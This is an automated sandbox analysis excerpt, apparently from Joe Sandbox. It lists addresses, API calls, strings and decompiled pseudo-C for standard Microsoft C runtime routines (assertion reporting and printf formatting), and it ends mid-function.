0x0042c8dd
0x0042c8df
0x0042c8e9
0x0042c8ef
0x0042c8ef
0x0042c8dd
0x0042c8fc
0x0042c90f
0x0042c92e
0x0042c933
0x0042c949
0x0042c949
0x0042c95c
0x0042c965
0x0042c965
0x0042c96b
0x0042c978
0x0042c97a
0x0042c985
0x0042c9b8
0x0042c9bd
0x0042c9bd
0x0042c9d0
0x0042c9df
0x0042c9eb
0x0042c9eb
0x0042c978
0x0042c8fc
0x0042c9f1
0x0042c9f1
0x0042c9f8
0x0042ca11
0x0042ca1a
0x0042ca22
0x0042ca23
0x0042ca24
0x0042ca32
0x0042ca32
0x0042c76e
0x0042c342
0x0042c34f
0x0042c359
0x0042c366
0x0042c35b
0x0042c35e
0x0042c35e
0x0042c370
0x0042c377
0x0042c382
0x0042c38f
0x0042c39a
0x0042c3a0
0x0042c3a5
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C303
__invoke_watson_if_error.LIBCMTD ref: 0042C342
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C34F
OutputDebugStringA.KERNEL32(004061D4), ref: 0042C377
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C382
OutputDebugStringA.KERNEL32(?), ref: 0042C38F
OutputDebugStringA.KERNEL32(004061C8), ref: 0042C39A
_wcscat_s.LIBCMTD ref: 0042C55A

Part of subcall function 004320E0: __invalid_parameter.LIBCMTD ref: 00432152

__invoke_watson_if_error.LIBCMTD ref: 0042C563

Part of subcall function 0041DF70: __invoke_watson.LIBCMTD ref: 0041DF91

_wcscat_s.LIBCMTD ref: 0042C592

Part of subcall function 004320E0: _memset.LIBCMT ref: 004321BB
Part of subcall function 004320E0: __invalid_parameter.LIBCMTD ref: 00432217

__invoke_watson_if_error.LIBCMTD ref: 0042C59B
__snwprintf_s.LIBCMTD ref: 0042C5F4

Part of subcall function 0042BC40: __vsnprintf_s_l.LIBCMTD ref: 0042BC62

__invoke_watson_if_oneof.LIBCMTD ref: 0042C62D
_wcscpy_s.LIBCMTD ref: 0042C672
__invoke_watson_if_error.LIBCMTD ref: 0042C67B
__cftoe.LIBCMTD ref: 0042C6EF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C71E
_wcscpy_s.LIBCMTD ref: 0042C756
__invoke_watson_if_error.LIBCMTD ref: 0042C75F
__itow_s.LIBCMTD ref: 0042C339

Part of subcall function 00436D50: _xtow_s@20.LIBCMTD ref: 00436D7B

__strftime_l.LIBCMTD ref: 0042C3F9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C432
_wcscpy_s.LIBCMTD ref: 0042C477
__invoke_watson_if_error.LIBCMTD ref: 0042C480
_wcscpy_s.LIBCMTD ref: 0042C4D3
__invoke_watson_if_error.LIBCMTD ref: 0042C4DC
_wcscat_s.LIBCMTD ref: 0042C50D
__invoke_watson_if_error.LIBCMTD ref: 0042C516

Strings

Assertion failed: , xrefs: 0042C494
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C745
(*_errno()), xrefs: 0042C421, 0042C61C
%s(%d) : %s, xrefs: 0042C5DE
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C57C
, Line , xrefs: 0042C37D
<file unknown>, xrefs: 0042C366
t9j, xrefs: 0042C985
t8j, xrefs: 0042C72D
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C740
Assertion failed!, xrefs: 0042C4A0
_VCrtDbgReportA, xrefs: 0042C31D, 0042C41C, 0042C45C, 0042C4B6, 0042C4F0, 0042C53F, 0042C577, 0042C617, 0042C657, 0042C709, 0042C73B, 0042C993
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C544
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C70E
Second Chance Assertion Failed: File , xrefs: 0042C34A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C318, 0042C417, 0042C457, 0042C4B1, 0042C4EB, 0042C53A, 0042C572, 0042C612, 0042C652, 0042C704, 0042C736, 0042C98E
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C4BB
_CrtDbgReport: String too long or IO Error, xrefs: 0042C466, 0042C661
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C65C
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C322, 0042C998
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C4F5
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C461

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction ID: 4749c399f747d16dbf27fe5361e23c3fee28483f5c5910e01e9cb3c1c3863205
Opcode Fuzzy Hash: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction Fuzzy Hash: EA02B6B4E40728ABEB20EF50DC46BDF7378AB04745F50819AF509762C1D7B85A84CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00434F39, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434F39(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428310(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428310(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428310(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428310(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428330(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428330(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430740(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004307C0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C4F0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435520))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E004311D0( *(_t701 - 0x251) & 0x000000ff, E0041AE00(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435630( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00435630( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E330();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E20(_t616))) = 0x16;
																									E00422BB0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041ADD0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435558; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435540))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435580; // 0x4d8e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043556C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E330();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E20(_t618))) = 0x16;
																						E00422BB0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041ADD0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BC70(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E330();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041ADD0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422E20(_t605))) = 0x16;
																				E00422BB0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041ADD0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004356D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00435710( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004356D0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00435710( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E004341E0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435710( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
